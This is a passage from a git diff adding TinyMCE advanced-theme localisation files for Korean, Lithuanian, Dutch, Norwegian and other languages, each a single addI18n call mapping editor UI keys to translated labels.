\u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0","image_dimensions":"\u10d6\u10dd\u10db\u10d0","image_alt":"\u10d0\u10e6\u10ec\u10d4\u10e0\u10d0","image_list":"\u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d4\u10d1\u10d8\u10e1 \u10e1\u10d8\u10d0","image_border":"\u10e9\u10d0\u10e0\u10e9\u10dd","image_src":"\u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8","image_title":"\u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","charmap_title":"\u10e1\u10d8\u10db\u10d1\u10dd\u10da\u10dd\u10e1 \u10d0\u10e0\u10e9\u10d4\u10d5\u10d0","colorpicker_name":"\u10e1\u10d0\u10ee\u10d4\u10da\u10ec\u10dd\u10d3\u10d4\u10d1\u10d0:","colorpicker_color":"\u10d9\u10dd\u10d3\u10d8:","colorpicker_named_title":"\u10e4\u10d4\u10e0\u10d4\u10d1\u10d8","colorpicker_named_tab":"\u10e1\u10d0\u10ee\u10d4\u10da\u10ec\u10dd\u10d3\u10d4\u10d1\u10d0","colorpicker_palette_title":"\u10e4\u10d4\u10e0\u10d4\u10d1\u10d8","colorpicker_palette_tab":"\u10de\u10d0\u10da\u10d8\u10e2\u10e0\u10d0","colorpicker_picker_title":"\u10e4\u10d4\u10e0\u10d7\u10d0 \u10e8\u10d4\u10db\u10e0\u10e9\u10d4\u10d5\u10d8","colorpicker_picker_tab":"\u10e1\u10de\u10d4\u10e5\u10e2\u10e0\u10d8","colorpicker_title":"\u10d0\u10d5\u10d8\u10e0\u10e9\u10d8\u10dd\u10d7 \u10e4\u10d4\u10e0\u10d8","code_wordwrap":"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10d2\u10d0\u10d3\u10d0\u10e2\u10d0\u10dc\u10d0","code_title":"HTML \u10d9\u10dd\u10d3\u10d8\u10e1 \u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10dd\u10e0\u10d8","anchor_name":"\u10e6\u10e3\u10d6\u10d0\u10e1 \u10e1\u10d0\u10ee\u10d4\u10da\u10d8","anchor_title":"\u10e6\u10e3\u10d6\u10d0\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","about_loaded":"\u10db\u10d8\u10db\u10d0\u10d2\u10e0\u10d4\u10d1\u10e3\u10da\u10d8 \u10de\u10da\u10d0\u10d2\u10d8\u10dc\u10d4\u10d1\u10d8","about_version":"\u10d5\u10d4\u10e0\u10e1\u10d8\u10d0","about_author":"\u10d0\u10d5\u10e2\u10dd\u10e0\u10d8","about_plugin":"\u10de\u10da\u10d0\u10d2\u10d8\u10dc\u10d8","about_plugins":"\u10de\u10da\u10d0\u10d2\u10d8\u10dc\u10d4\u10d1\u10d8","about_license":"\u10da\u10d8\u10ea\u10d4\u10dc\u10d6\u10d8\u10d0","about_help":"\u10d3\u10d0\u10ee\u10db\u10d0\u10e0\u10d4\u10d1\u10d0","about_general":"\u10d0\u10e6\u10ec\u10d4\u10e0\u10d8\u10da\u10dd\u10d1\u10d0","about_title":"TinyMCE \u10d0\u10e6\u10ec\u10d4\u10e0\u10d8\u10da\u10dd\u10d1\u10d0","anchor_invalid":"\u10e8\u10d4\u10d8\u10e7\u10d5\u10d0\u10dc\u10d4\u10d7 \u10e6\u10e3\u10d6\u10d0\u10e1 \u10d9\u10dd\u10e0\u10d4\u10e5\u10e2\u10e3\u10da\u10d8 \u10e1\u10d0\u10ee\u10d4\u10da\u10d8.","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/ko.js b/js/tiny_mce2/themes/advanced/langs/ko.js new file mode 100755 index 0000000..4eba457 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/ko.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.advanced',{"underline_desc":"\ubc11\uc904(Ctrl+U)","italic_desc":"\uae30\uc6b8\uc778 \uae00\uaf34(Ctrl I)","bold_desc":"\uad75\uc740 \uae00\uaf34(Ctrl B)",dd:"\uc815\uc758 \uc124\uba85",dt:"\uc5b4\uad6c \uc815\uc758",samp:"\uc0d8\ud50c\ucf54\ub4dc",code:"\ucf54\ub4dc",blockquote:"\uc778\uc6a9\ubb38",h6:"\ud45c\uc81c6",h5:"\ud45c\uc81c5",h4:"\ud45c\uc81c4",h3:"\ud45c\uc81c3",h2:"\ud45c\uc81c2",h1:"\ud45c\uc81c1",pre:"pre",address:"\uc8fc\uc18c",div:"Div",paragraph:"\ub2e8\ub77d",block:"\ud3ec\ub9f7",fontdefault:"\uae00\uaf34","font_size":"\uae00\uaf34 \ud06c\uae30","style_select":"\uc2a4\ud0c0\uc77c","more_colors":"\uadf8 \uc678\uc758 \uc0c9","toolbar_focus":"\ubc84\ud2bc\uc73c\ub85c \uc810\ud504 - Alt+Q, \uc5d0\ub514\ud130\ub85c \uc810\ud504 - Alt-Z, Jump to element path - Alt-X",newdocument:"\ud3b8\uc9d1\uc911\uc758 \ub370\uc774\ud130\ub97c \ubaa8\ub450 \uc783\uc5b4\ub3c4 \uad1c\ucc2e\uc2b5\ub2c8\uae4c?",path:"Path","clipboard_msg":"\ubcf5\uc0ac/\uc798\ub77c\ub0b4\uae30/\ubd99\uc774\uae30\ub294 Mozilla \ubc0fFirefox \uc5d0\uc11c \uc0ac\uc6a9\ub418\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.\n\uc0c1\uc138\uc815\ubcf4\ub97c \ud45c\uc2dc\ud569\ub2c8\uae4c?","blockquote_desc":"\uc778\uc6a9\ubb38","help_desc":"\ub3c4\uc6c0\ub9d0","newdocument_desc":"\uc2e0\uaddc\uae00 \uc791\uc131","image_props_desc":"\uc774\ubbf8\uc9c0\uc18d\uc131","paste_desc":"\ubd99\uc774\uae30","copy_desc":"\ubcf5\uc0ac","cut_desc":"\uc798\ub77c\ub0b4\uae30","anchor_desc":"\uc5e5\ucee4 \uc0bd\uc785/\ud3b8\uc9d1","visualaid_desc":"\uac00\uc774\ub4dc\ub77c\uc778 \ud45c\uc2dc/\ube44\ud45c\uc2dc","charmap_desc":"\ud2b9\uc218 \ubb38\uc790","backcolor_desc":"\ubc30\uacbd\uc0c9","forecolor_desc":"\uae00\uc790\uc0c9","custom1_desc":"\ucee4\uc2a4\ud140 \uc124\uba85","removeformat_desc":"\uc11c\uc2dd \ud574\uc81c","hr_desc":"\uad6c\ubd84\uc120","sup_desc":"\uc704\ucca8\uc790","sub_desc":"\uc544\ub798\ucca8\uc790","code_desc":"HTML \ud3b8\uc9d1","cleanup_desc":"\ubcf5\uc7a1\ud55c \ucf54\ub4dc \uc815\ub9ac","image_desc":"\uc774\ubbf8\uc9c0 \uc0bd\uc785/\ud3b8\uc9d1","unlink_desc":"\ub9c1\ud06c \uc0ad\uc81c","link_desc":"\ub9c1\ud06c\uc758 \uc0bd\uc785/\ud3b8\uc9d1","redo_desc":"\ub2e4\uc2dc \uc2e4\ud589(Ctrl Y)","undo_desc":"\uc2e4\ud589 \ucde8\uc18c(Ctrl Z)","indent_desc":"\ub4e4\uc5ec\uc4f0\uae30","outdent_desc":"\ub0b4\uc5b4\uc4f0\uae30","numlist_desc":"\ubc88\ud638 \ubaa9\ub85d","bullist_desc":"\uae30\ud638 \ubaa9\ub85d","justifyfull_desc":"\uc591\ucabd \ub9de\ucda4","justifyright_desc":"\uc624\ub978\ucabd \ub9de\ucda4","justifycenter_desc":"\uac00\uc6b4\ub370 \ub9de\ucda4","justifyleft_desc":"\uc67c\ucabd \ub9de\ucda4","striketrough_desc":"\ucde8\uc18c\uc120","help_shortcut":"\ub3c4\uad6c \ubaa8\uc74c\uc740 ALT-F10\uc744, \ub3c4\uc6c0\ub9d0\uc740 ALT-0\uc744 \ub204\ub974\uc138\uc694.",toolbar:"\ub3c4\uad6c \ubaa8\uc74c","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/ko_dlg.js b/js/tiny_mce2/themes/advanced/langs/ko_dlg.js new file mode 100755 index 0000000..8f30119 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.advanced_dlg',{"link_list":"\ub9c1\ud06c \ubaa9\ub85d","link_is_external":"\uc678\ubd80URL\uc774 \uc785\ub825\ub418\uc5c8\uc2b5\ub2c8\ub2e4.\nURL\uc758 \uc55e\uc5d0 http://\ub97c \ubd99\uc785\ub2c8\uae4c?","link_is_email":"\uba54\uc77c\uc8fc\uc18c\uac00 \uc785\ub825\ub418\uc5c8\uc2b5\ub2c8\ub2e4.\n\uba54\uc77c\uc8fc\uc18c\uc758 \uc55e\uc5d0 mailto:\ub97c \ubd99\uc785\ub2c8\uae4c?","link_titlefield":"\uc81c\ubaa9","link_target_blank":"\uc0c8\ucc3d","link_target_same":"\uac19\uc740\ucc3d","link_target":"Target","link_url":"\ub9c1\ud06c URL","link_title":"\ub9c1\ud06c\uc758 \uc0bd\uc785/\ud3b8\uc9d1","image_align_right":"Right","image_align_left":"Left","image_align_textbottom":"Text bottom","image_align_texttop":"Text top","image_align_bottom":"Bottom","image_align_middle":"Middle","image_align_top":"Top","image_align_baseline":"\uae30\uc900\uc120","image_align":"\uc815\ub82c","image_hspace":"\uc88c\uc6b0 \uc5ec\ubc31","image_vspace":"\uc0c1\ud558 \uc5ec\ubc31","image_dimensions":"\ud06c\uae30","image_alt":"\uc774\ubbf8\uc9c0 \uc124\uba85","image_list":"\uc774\ubbf8\uc9c0 \ubaa9\ub85d","image_border":"\ud14c\ub450\ub9ac\uc120","image_src":"\uc774\ubbf8\uc9c0 URL","image_title":"\uc774\ubbf8\uc9c0\uc758 \uc0bd\uc785/\ud3b8\uc9d1","charmap_title":"\ud2b9\uc218 \ubb38\uc790","colorpicker_name":"\uc0c9 \uc774\ub984:","colorpicker_color":"Color:","colorpicker_named_title":"\uc0c9","colorpicker_named_tab":"\uc0c9 \uc774\ub984","colorpicker_palette_title":"\ud314\ub808\ud2b8 \uc0c9","colorpicker_palette_tab":"\ud314\ub808\ud2b8","colorpicker_picker_title":"\uceec\ub7ec \ud53d\ucee4","colorpicker_picker_tab":"\ud53d\ucee4","colorpicker_title":"\uc0c9\uc744 \uc120\ud0dd","code_wordwrap":"\uc6cc\ub4dc\ub7a9","code_title":"\uc18c\uc2a4 \ud3b8\uc9d1","anchor_name":"\uc5e5\ucee4\uba85","anchor_title":"\uc5e5\ucee4 \uc0bd\uc785/\ud3b8\uc9d1","about_loaded":"\uc2e4\ud589\ub41c \ud50c\ub7ec\uadf8\uc778","about_version":"\ubc84\uc83c","about_author":"\uc81c\uc791\uc790","about_plugin":"\ud50c\ub7ec\uadf8\uc778","about_plugins":"\ud50c\ub7ec\uadf8\uc778","about_license":"\ub77c\uc774\uc13c\uc2a4","about_help":"\ub3c4\uc6c0\ub9d0","about_general":"About","about_title":"TinyMCE\uc5d0 \ub300\ud558\uc5ec","anchor_invalid":"Please specify a valid anchor name.","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/lt.js b/js/tiny_mce2/themes/advanced/langs/lt.js new file mode 100755 index 0000000..3056354 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/lt.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.advanced',{"underline_desc":"Pabrauktas (Ctrl+U)","italic_desc":"Kursyvas (Ctrl+I)","bold_desc":"Pusjuodis (Ctrl+B)",dd:"Apibr\u0117\u017eimo apra\u0161as",dt:"Apibr\u0117\u017eimo terminas",samp:"Kodo pavyzdys",code:"Kodas",blockquote:"Citatos blokas",h6:"Antra\u0161t\u0117 6",h5:"Antra\u0161t\u0117 5",h4:"Antra\u0161t\u0117 4",h3:"Antra\u0161t\u0117 3",h2:"Antra\u0161t\u0117 2",h1:"Antra\u0161t\u0117 1",pre:"I\u0161 anksto formatuotas",address:"Adresas",div:"Div \u017eym\u0117",paragraph:"Paragrafas",block:"Formatas",fontdefault:"\u0160rifto \u0161eima","font_size":"\u0160rifto dydis","style_select":"Stiliai","link_delta_width":"70","more_colors":"Daugiau spalv\u0173","toolbar_focus":"Per\u0161okimas prie \u012franki\u0173 juostos mygtuk\u0173 - Alt+Q, Per\u0161okimas prie redaktoriaus - Alt-Z, Per\u0161okimas prie element\u0173 kelio - Alt-X",newdocument:"Ar tikrai norite i\u0161valyti vis\u0105 turin\u012f?",path:"Kelias","clipboard_msg":"Kopijavimas/I\u0161kirpimas/\u012ed\u0117jimas negalimas Mozilla ir Firefox nar\u0161ykl\u0117se.\nAr norite daugiau informacijos apie \u0161i\u0105 problem\u0105?","blockquote_desc":"Citatos blokas","help_desc":"Pagalba","newdocument_desc":"Naujas dokumentas","image_props_desc":"Paveiksl\u0117lio nustatymai","paste_desc":"\u012ed\u0117ti","copy_desc":"Kopijuoti","cut_desc":"I\u0161kirpti","anchor_desc":"\u012eterpti/redaguoti prierai\u0161\u0105","visualaid_desc":"Kaitalioti gaires/nematom\u0173 element\u0173 rodym\u0105","charmap_desc":"\u012eterpti nestandartin\u012f simbol\u012f","backcolor_desc":"Parinkti fono spalv\u0105","forecolor_desc":"Parinkti teksto spalv\u0105","custom1_desc":"J\u016bs\u0173 apra\u0161as \u010dia","removeformat_desc":"Pa\u0161alinti formatavim\u0105","hr_desc":"\u012eterpti horizontali\u0105 linij\u0105","sup_desc":"Vir\u0161utinis indeksas","sub_desc":"Apatinis indeksas","code_desc":"Redaguoti HTML i\u0161eities kod\u0105","cleanup_desc":"I\u0161valyti netvarking\u0105 kod\u0105","image_desc":"\u012eterpti/redaguoti paveiksl\u0117l\u012f","unlink_desc":"Pa\u0161alinti nuorod\u0105","link_desc":"\u012eterpti/redaguoti nuorod\u0105","redo_desc":"Gr\u0105\u017einti (Ctrl+Y)","undo_desc":"At\u0161aukti (Ctrl+Z)","indent_desc":"\u012etrauka","outdent_desc":"Atvirk\u0161tin\u0117 \u012ftrauka","numlist_desc":"Sunumeruotas s\u0105ra\u0161as","bullist_desc":"Nesunumeruotas s\u0105ra\u0161as","justifyfull_desc":"Lygiuoti pagal abu kra\u0161tus","justifyright_desc":"Lygiuoti pagal de\u0161in\u0119","justifycenter_desc":"Centruoti","justifyleft_desc":"Lygiuoti pagal kair\u0119","striketrough_desc":"Perbrauktas","help_shortcut":"Paspauskite ALT-F10 \u012fjungti u\u017eduo\u010di\u0173 juostai. Paspauskite ALT-0 jei reikia pagalbos","rich_text_area":"Suformatuoto teksto laukas","shortcuts_desc":"Accessability Help",toolbar:"U\u017eduo\u010di\u0173 juosta","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/lt_dlg.js b/js/tiny_mce2/themes/advanced/langs/lt_dlg.js new file mode 100755 index 0000000..2474073 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.advanced_dlg',{"link_list":"Nuorod\u0173 s\u0105ra\u0161as","link_is_external":"URL adresas, kur\u012f \u012fved\u0117te yra i\u0161orin\u0117 nuoroda, ar norite prid\u0117ti reikaling\u0105 http:// prefiks\u0105?","link_is_email":"URL adresas, kur\u012f \u012fved\u0117te yra el. pa\u0161to adresas, ar norite prid\u0117ti reikaling\u0105 mailto: prefiks\u0105?","link_titlefield":"Pavadinimas","link_target_blank":"Atverti naujame lange","link_target_same":"Atverti tame pa\u010diame lange","link_target":"Paskirtis","link_url":"Nuorodos URL adresas","link_title":"\u012eterpti/redaguoti nuorod\u0105","image_align_right":"De\u0161in\u0117je","image_align_left":"Kair\u0117je","image_align_textbottom":"Teksto apa\u010dioje","image_align_texttop":"Teksto vir\u0161uje","image_align_bottom":"Apa\u010dioje","image_align_middle":"Viduryje","image_align_top":"Vir\u0161uje","image_align_baseline":"Pradiniame ta\u0161ke","image_align":"Lygiavimas","image_hspace":"Horizontalus tarpas","image_vspace":"Vertikalus tarpas","image_dimensions":"I\u0161matavimai","image_alt":"Paveiksl\u0117lio apra\u0161as","image_list":"Paveiksl\u0117li\u0173 s\u0105ra\u0161as","image_border":"R\u0117melis","image_src":"Paveiksl\u0117lio URL adresas","image_title":"\u012eterpti/redaguoti paveiksl\u0117l\u012f","charmap_title":"Pasirinkti nestandartin\u012f simbol\u012f","colorpicker_name":"Pavadinimas:","colorpicker_color":"Spalva:","colorpicker_named_title":"\u012evardintosios spalvos","colorpicker_named_tab":"\u012evardintosios","colorpicker_palette_title":"Palet\u0117s spalvos","colorpicker_palette_tab":"Palet\u0117","colorpicker_picker_title":"Spalvos parinkiklis","colorpicker_picker_tab":"Parinkiklis","colorpicker_title":"Pasirinkti spalv\u0105","code_wordwrap":"Skaidyti tekst\u0105","code_title":"HTML i\u0161eities kodo redaktorius","anchor_name":"Prierai\u0161o vardas","anchor_title":"\u012eterpti/redaguoti prierai\u0161\u0105","about_loaded":"\u012ekelti papildiniai","about_version":"Versija","about_author":"Autorius","about_plugin":"Papildinys","about_plugins":"Papildiniai","about_license":"Licencija","about_help":"Pagalba","about_general":"Apie","about_title":"Apie TinyMCE","charmap_usage":"Naudokite kair\u0117s ir de\u0161in\u0117s rodykles norint nar\u0161yti.","anchor_invalid":"\u012eveskite teising\u0105 prierai\u0161os vard\u0105.","accessibility_help":"Prieinamumo pagalba","accessibility_usage_title":"Bendrojo naudojimo"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/nl.js b/js/tiny_mce2/themes/advanced/langs/nl.js new file mode 100755 index 0000000..3ef2c14 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/nl.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.advanced',{"underline_desc":"Onderstrepen (Ctrl+U)","italic_desc":"Cursief (Ctrl+I)","bold_desc":"Vet (Ctrl+B)",dd:"Definitiebeschrijving",dt:"Definitieterm",samp:"Codevoorbeeld",code:"Code",blockquote:"Citaat",h6:"Kop 6",h5:"Kop 5",h4:"Kop 4",h3:"Kop 3",h2:"Kop 2",h1:"Kop 1",pre:"Vaste opmaak",address:"Adres",div:"Div",paragraph:"Alinea",block:"Opmaak",fontdefault:"Lettertype","font_size":"Tekengrootte","style_select":"Stijlen","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","more_colors":"Meer kleuren","toolbar_focus":"Spring naar werkbalk - Alt+Q, Spring naar tekst - Alt-Z, Spring naar elementpad - Alt-X",newdocument:"Weet u zeker dat u alle inhoud wilt wissen?",path:"Pad","clipboard_msg":"Kopi\u00ebren/knippen/plakken is niet beschikbaar in Mozilla en Firefox.\nWilt u meer informatie over deze beperking?","blockquote_desc":"Citaat","help_desc":"Help","newdocument_desc":"Nieuw document","image_props_desc":"Afbeeldingseigenschappen","paste_desc":"Plakken","copy_desc":"Kopi\u00ebren","cut_desc":"Knippen","anchor_desc":"Anker invoegen/bewerken","visualaid_desc":"Hulplijnen weergeven","charmap_desc":"Symbool invoegen","backcolor_desc":"Tekstmarkeringskleur","forecolor_desc":"Tekstkleur","custom1_desc":"Uw eigen beschrijving hier","removeformat_desc":"Opmaak verwijderen","hr_desc":"Scheidingslijn invoegen","sup_desc":"Superscript","sub_desc":"Subscript","code_desc":"HTML bron bewerken","cleanup_desc":"Code opruimen","image_desc":"Afbeelding invoegen/bewerken","unlink_desc":"Link verwijderen","link_desc":"Link invoegen/bewerken","redo_desc":"Herhalen (Ctrl+Y)","undo_desc":"Ongedaan maken (Ctrl+Z)","indent_desc":"Inspringing vergroten","outdent_desc":"Inspringing verkleinen","numlist_desc":"Nummering","bullist_desc":"Opsommingstekens","justifyfull_desc":"Uitvullen","justifyright_desc":"Rechts uitlijnen","justifycenter_desc":"Centreren","justifyleft_desc":"Links uitlijnen","striketrough_desc":"Doorhalen","help_shortcut":"Druk op ALT-F10 voor de werkbalk. Druk op ALT-0 voor hulp.","rich_text_area":"Rich Text Zone","shortcuts_desc":"Toegankelijkheid Help",toolbar:"Werkbalk"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/nl_dlg.js b/js/tiny_mce2/themes/advanced/langs/nl_dlg.js new file mode 100755 index 0000000..615a5e8 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.advanced_dlg',{"link_list":"Link lijst","link_is_external":"De ingevoerde URL lijkt op een externe link. Wilt u de vereiste http:// tekst voorvoegen?","link_is_email":"De ingevoerde URL lijkt op een e-mailadres. Wilt u de vereiste mailto: tekst voorvoegen?","link_titlefield":"Titel","link_target_blank":"Link in een nieuw venster openen","link_target_same":"Link in hetzelfde venster openen","link_target":"Doel","link_url":"Link URL","link_title":"Link invoegen/bewerken","image_align_right":"Rechts","image_align_left":"Links","image_align_textbottom":"Onderkant tekst","image_align_texttop":"Bovenkant tekst","image_align_bottom":"Onder","image_align_middle":"Midden","image_align_top":"Boven","image_align_baseline":"Basislijn","image_align":"Uitlijning","image_hspace":"Horizontale ruimte","image_vspace":"Verticale ruimte","image_dimensions":"Afmetingen","image_alt":"Beschrijving","image_list":"Lijst","image_border":"Rand","image_src":"Bestand/URL","image_title":"Afbeelding invoegen/bewerken","charmap_title":"Symbolen","colorpicker_name":"Naam:","colorpicker_color":"Kleur:","colorpicker_named_title":"Benoemde kleuren","colorpicker_named_tab":"Benoemd","colorpicker_palette_title":"Paletkleuren","colorpicker_palette_tab":"Palet","colorpicker_picker_title":"Alle kleuren","colorpicker_picker_tab":"Alle kleuren","colorpicker_title":"Kleuren","code_wordwrap":"Automatische terugloop","code_title":"HTML Bron","anchor_name":"Ankernaam","anchor_title":"Anker invoegen/bewerken","about_loaded":"Geladen Invoegtoepassingen","about_version":"Versie","about_author":"Auteur","about_plugin":"Invoegtoepassing","about_plugins":"Invoegtoepassingen","about_license":"Licentie","about_help":"Help","about_general":"Info","about_title":"Over TinyMCE","charmap_usage":"Gebruik linker en rechter pijltjestoetsen om te navigeren.","anchor_invalid":"Geef een geldige ankernaam.","accessibility_help":"Hulp m.b.t. Toegankelijkheid","accessibility_usage_title":"Algemeen Gebruik","invalid_color_value":"Ongeldige kleur code"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/no.js b/js/tiny_mce2/themes/advanced/langs/no.js new file mode 100755 index 0000000..0fef8d9 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/no.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.advanced',{"underline_desc":"Understrek (Ctrl+U)","italic_desc":"Kursiv (Ctrl+I)","bold_desc":"Fet (Ctrl+B)",dd:"Definisjonsbeskrivelse",dt:"Definisjonsuttrykk",samp:"Kodeeksempel",code:"Kode",blockquote:"Innrykk",h6:"Overskrift 6",h5:"Overskrift 5",h4:"Overskrift 4",h3:"Overskrift 3",h2:"Overskrift 2",h1:"Overskrift 1",pre:"Pre-formatert",address:"Adresse",div:"Div",paragraph:"Avsnitt",block:"Format",fontdefault:"Skriftfamilie","font_size":"Skriftst\u00f8rrelse","style_select":"Stiler","more_colors":"Flere farger","toolbar_focus":"Skift til verkt\u00f8yknapper - Alt+Q, Skift til editor - Alt-Z, Skift til elementsti - Alt-",newdocument:"Er du sikker p\u00e5 at du vil slette alt innhold?",path:"Sti","clipboard_msg":"Klipp ut/Kopier/Lim er ikke tilgjengelig i Mozilla og Firefox. \n Vil du vite mer om dette?","blockquote_desc":"Innrykk","help_desc":"Hjelp","newdocument_desc":"Nytt dokument","image_props_desc":"Egenskaper for bilde","paste_desc":"Lim inn","copy_desc":"Kopier","cut_desc":"Klipp ut","anchor_desc":"Sett inn/editer anker","visualaid_desc":"Sl\u00e5 av/p\u00e5 usynlige elementer","charmap_desc":"Sett inn spesialtegn","backcolor_desc":"Velg bakgrunnsfarge","forecolor_desc":"Velg skriftfarge","custom1_desc":"Din egen beskriveles her","removeformat_desc":"Fjern formatering","hr_desc":"Sett inn horisontal linje","sup_desc":"Hev skrift","sub_desc":"Senk skrift","code_desc":"Rediger HTML kildekode","cleanup_desc":"Rense grisete kode","image_desc":"Sett inn / endre bilde","unlink_desc":"Fjerne lenke","link_desc":"Sett inn/editer lenke","redo_desc":"Gj\u00f8r om (Ctrl+Y)","undo_desc":"Angre (Ctrl+Z)","indent_desc":"\u00d8k innrykk","outdent_desc":"Reduser innrykk","numlist_desc":"Nummerliste","bullist_desc":"Punktliste","justifyfull_desc":"Blokkjustert","justifyright_desc":"H\u00f8yrejustert","justifycenter_desc":"Midtstilt","justifyleft_desc":"Venstrejustert","striketrough_desc":"Gjennomstreke","help_shortcut":"Trykk ALT F10 for verkt\u00f8ylinje. Trykk ALT 0 for hjelp","rich_text_area":"Redigeringsomr\u00e5de","shortcuts_desc":"Hjelp for funksjonshemmede",toolbar:"Verkt\u00f8ylinje","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/no_dlg.js b/js/tiny_mce2/themes/advanced/langs/no_dlg.js new file mode 100755 index 0000000..ad37b35 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.advanced_dlg',{"link_list":"Liste over lenker","link_is_external":"Nettadressen du skrev inn ser ut til \u00e5 v\u00e6re en ekstern nettadresse. \u00d8nsker du \u00e5 legge til obligatorisk http://-prefiks?","link_is_email":"Nettadressen du skrev inn ser ut til \u00e5 v\u00e6re en Epost adresse. \u00d8nsker du \u00e5 legge til obligatorisk mailto:-prefiks?","link_titlefield":"Tittel","link_target_blank":"\u00c5pne i nytt vindu","link_target_same":"\u00c5pne i dette vindu","link_target":"M\u00e5lvindu","link_url":"Lenke URL","link_title":"Sett inn/editer lenke","image_align_right":"H\u00f8yre","image_align_left":"Venstre","image_align_textbottom":"Tekst bunn","image_align_texttop":"Tekst topp","image_align_bottom":"Bunn","image_align_middle":"Midtstilt","image_align_top":"Topp","image_align_baseline":"Bunnlinje","image_align":"Justering","image_hspace":"Horisontal avstand","image_vspace":"Vertikal avstand","image_dimensions":"Dimensjoner","image_alt":"Bildebeskrivelse","image_list":"Liste med bilder","image_border":"Ramme","image_src":"Bilde URL","image_title":"Sett inn/editer bilde","charmap_title":"Velg spesialtegn","colorpicker_name":"Navn:","colorpicker_color":"Farge:","colorpicker_named_title":"Fargenavn","colorpicker_named_tab":"Navnevalg","colorpicker_palette_title":"Palettfarger","colorpicker_palette_tab":"Palett","colorpicker_picker_title":"Fargevalg","colorpicker_picker_tab":"Fargevelger","colorpicker_title":"Velg farge","code_wordwrap":"Tekstbryting","code_title":"HTML kildeeditor","anchor_name":"Ankernavn","anchor_title":"Sett inn/editer anker","about_loaded":"Innlastede programtillegg","about_version":"Versjon","about_author":"Forfatter","about_plugin":"Programtillegg","about_plugins":"Programtillegg","about_license":"Lisens","about_help":"Hjelp","about_general":"Om","about_title":"Om TinyMCE","charmap_usage":"Bruk h\u00f8yre og venstre piler for \u00e5 velge.","anchor_invalid":"Du m\u00e5 angi et gyldig ankernavn.","accessibility_help":"Tilgjengelighetshjelp","accessibility_usage_title":"Generel bruk"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/pl.js b/js/tiny_mce2/themes/advanced/langs/pl.js new file mode 100755 index 0000000..f7348f1 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/pl.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.advanced',{"underline_desc":"Podkre\u015blenie (Ctrl+U)","italic_desc":"Kursywa (Ctrl+I)","bold_desc":"Pogrubienie (Ctrl+B)",dd:"Opis terminu",dt:"Definicja terminu ",samp:"Pr\u00f3bka kodu",code:"Kod",blockquote:"Wydzielony blok",h6:"Nag\u0142\u00f3wek 6",h5:"Nag\u0142\u00f3wek 5",h4:"Nag\u0142\u00f3wek 4",h3:"Nag\u0142\u00f3wek 3",h2:"Nag\u0142\u00f3wek 2",h1:"Nag\u0142\u00f3wek 1",pre:"Czcionka o sta\u0142ej szeroko\u015bci",address:"Adres",div:"Div",paragraph:"Akapit",block:"Format",fontdefault:"Rodzaj czcionki","font_size":"Rozmiar czcionki","style_select":"Styl","more_colors":"Wi\u0119cej kolor\u00f3w...","toolbar_focus":"Przeskocz do przycisk\u00f3w narz\u0119dzi - Alt+Q, Przeskocz do edytora - Alt-Z, Przeskocz do elementu \u015bcie\u017cki - Alt-X",newdocument:"Czy jeste\u015b pewnien, ze chcesz wyczy\u015bci\u0107 ca\u0142\u0105 zawarto\u015b\u0107?",path:"\u015acie\u017cka","clipboard_msg":"Akcje 